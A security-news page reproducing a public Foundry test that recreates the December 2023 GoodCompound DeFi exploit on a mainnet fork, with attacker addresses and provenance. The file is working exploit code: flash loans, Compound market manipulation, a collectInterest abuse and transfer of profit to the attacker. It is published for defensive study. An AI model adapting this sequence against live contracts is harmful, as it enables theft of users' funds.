Skip to content
THREATWIRE

Public reproduction file

src/test/2023-12/GoodCompound_exp.sol

Public reproduction file for dataset entry GoodCompound.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/GoodCompound_exp.sol180 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : ~$13K (250 COMP Token)
7// Attacker : https://etherscan.io/address/0xdfab184bc668f16c1cb949228068588106924569
8// Attack Contract : https://etherscan.io/address/0x2d89fb83c66b6c7c35818382517959e33a655b13
9// Vulnerable Contract : https://etherscan.io/address/0x3d9819210a31b4961b30ef54be2aed79b9c9cd3b
10// Attack Tx : https://etherscan.io/tx/0x1106418384414ed56cd7cbb9fedc66a02d39b663d580abc618f2d387348354ab
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0x3d9819210a31b4961b30ef54be2aed79b9c9cd3b#code
15// @Analysis
16// Post-mortem : getherscan.io/tx/0x1106418384414ed56cd7cbb9fedc66a02d39b663d580abc618f2d387348354ab
17// Twitter Guy :
18// Hacking God :
19pragma solidity ^0.8.0;
21import "forge-std/Test.sol";
22import "./../interface.sol";
24interface IComptroller {
25 function enterMarkets(
26 address[] memory
27 ) external;
28 function claimComp(address, address[] memory) external;
31interface ICompoundToken {
32 function borrow(
33 uint256 borrowAmount
34 ) external;
35 function repayBorrow(
36 uint256 repayAmount
37 ) external;
38 function redeem(
39 uint256 redeemAmount
40 ) external;
41 function mint(
42 uint256 amount
43 ) external;
44 function comptroller() external view returns (address);
47interface IGoodFundManager {
48 function collectInterest(address[] memory, bool) external;
51contract GoodCompound is BaseTestWithBalanceLog {
52 address balancer_vault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
53 IBalancerVault balancer = IBalancerVault(balancer_vault);
55 address profit_receiver = 0xa8Ca14Af6ef32A1Be44652CA13d0071bf855f8DD;
57 address compound = 0xc00e94Cb662C3520282E6f5717214004A7f26888;
58 IERC20 compound_token = IERC20(compound);
59 address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
60 IERC20 weth_token = IERC20(weth);
62 address ceth = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5;
63 IERC20 ceth_token = IERC20(ceth);
65 address compound_comptroller = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
66 address ccompound_token = 0x70e36f6BF80a52b3B46b3aF8e106CC0ed743E8e4;
68 address sushi = 0x31503dcb60119A812feE820bb7042752019F2355;
70 address univ2_router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
71 IUniswapV2Router univ2 = IUniswapV2Router(payable(univ2_router));
73 address goodCompoundStaking = 0x7b7246C78e2F900D17646FF0CB2EC47D6BA10754;
74 address cdai = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;
76 address proxy = 0x0c6C80D2061afA35E160F3799411d83BDEEA0a5A;
78 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
79 uint256 public maxUint = type(uint256).max;
81 address ctoken_address = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5;
82 IERC20 ctoken = IERC20(ctoken_address);
84 function setUp() public {
85 cheats.createSelectFork("mainnet", 18_759_541 - 1);
86 deal(address(ctoken), address(this), 2_240_854_452_867); // initial tokens for setting ctoken snapshot
87 cheats.prank(profit_receiver);
88 compound_token.approve(address(this), maxUint); // approve for transfer
89 }
91 function testExploit() public {
92 emit log_named_decimal_uint(
93 "[Begin] Attacker COMP before exploit", compound_token.balanceOf(profit_receiver), 18
94 );
95 address[] memory path = new address[](2);
96 path[0] = address(compound);
97 path[1] = address(weth);
98 uint256[] memory amounts = new uint256[](2);
99 amounts[0] = 894_410_483_325_707_881_040;
100 amounts[1] = 55_693_783_410_001_174_957_472;
101 balancer.flashLoan(address(this), path, amounts, "");
102 emit log_named_decimal_uint("[End] Attacker COMP after exploit", compound_token.balanceOf(profit_receiver), 18);
103 }
105 function receiveFlashLoan(
106 address[] memory tokens,
107 uint256[] memory amounts,
108 uint256[] memory feeAmounts,
109 bytes calldata userData
110 ) external {
111 weth_token.withdraw(amounts[1]);
113 bytes memory data1 = abi.encodeWithSignature("mint()");
114 (bool success1,) = ceth.call{value: 450}(data1);
115 require(success1, "Call failed");
117 address[] memory markets = new address[](1);
118 markets[0] = ceth;
119 IComptroller(compound_comptroller).enterMarkets(markets);
120 ICompoundToken(ccompound_token).borrow(14_995_000_000_000_000_000_000);
121 // double flashloan
122 ISushiSwap(sushi).swap(4_200_000_000_000_000_000_000, 0, address(this), "0x30");
124 IERC20(compound_token).approve(ccompound_token, maxUint);
125 ICompoundToken(ccompound_token).repayBorrow(14_995_000_000_000_000_000_000);
126 ICompoundToken(ceth).redeem(ceth_token.balanceOf(address(this)));
127 // deposit to exchange weth
128 bytes memory data2 = abi.encodeWithSignature("deposit()");
129 (bool success2,) = weth.call{value: 450 ether}(data2);
130 require(success2, "Call failed");
132 // payback
133 weth_token.transfer(balancer_vault, 55_693_783_410_001_174_957_472);
134 compound_token.transfer(balancer_vault, 894_410_483_325_707_881_040);
135 // transfer profit to a designated address
136 compound_token.transfer(profit_receiver, compound_token.balanceOf(address(this)));
137 }
139 function uniswapV2Call(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
140 compound_token.approve(univ2_router, maxUint);
141 weth_token.approve(univ2_router, maxUint);
143 compound_token.transferFrom(profit_receiver, address(this), 7_400_000_000_000_000_000);
144 uint256 compound_balance = compound_token.balanceOf(address(this));
146 address[] memory path = new address[](2);
147 path[0] = compound;
148 path[1] = weth;
149 univ2.swapExactTokensForTokens(compound_balance, 1, path, address(this), block.timestamp << 1);
151 address[] memory path2 = new address[](1);
152 path2[0] = cdai;
153 IComptroller(compound_comptroller).claimComp(goodCompoundStaking, path2);
155 address[] memory markets = new address[](5);
156 markets[0] = goodCompoundStaking;
157 markets[1] = goodCompoundStaking;
158 markets[2] = goodCompoundStaking;
159 markets[3] = goodCompoundStaking;
160 markets[4] = goodCompoundStaking;
161 IGoodFundManager(proxy).collectInterest(markets, true);
162 uint256 weth_balance = weth_token.balanceOf(address(this));
164 // swap back
165 address[] memory path3 = new address[](2);
166 path3[0] = weth;
167 path3[1] = compound;
168 univ2.swapExactTokensForTokens(weth_balance, 1, path3, address(this), block.timestamp << 1);
170 compound_token.transfer(sushi, 4_206_320_627_691_200_181_954); // pay back
172 bytes memory data = abi.encodeWithSignature("deposit()");
173 (bool success,) = weth.call{value: 55_244 ether}(data);
174 require(success, "Call failed");
176 weth_token.transfer(sushi, 149_285_130_679_667_947); // calculated according to reserves
177 }
179 fallback() external payable {}

Analysis

Dataset entry

Public Foundry test for “GoodCompound” (2023-12-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xdfab184bc668f16c1cb949228068588106924569

  • Attack Contract

    0x2d89fb83c66b6c7c35818382517959e33a655b13

  • Vulnerable Contract

    0x3d9819210a31b4961b30ef54be2aed79b9c9cd3b

  • Attack Tx

    0x1106418384414ed56cd7cbb9fedc66a02d39b663d580abc618f2d387348354ab

File record

Name
GoodCompound
Path
src/test/2023-12/GoodCompound_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
bd3d14bf914193943488fa7868d0e274ffc2d77e
Language
Solidity
Size
181 lines
Date
2023-12-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-12/GoodCompound_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob bd3d14bf914193943488fa7868d0e274ffc2d77e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.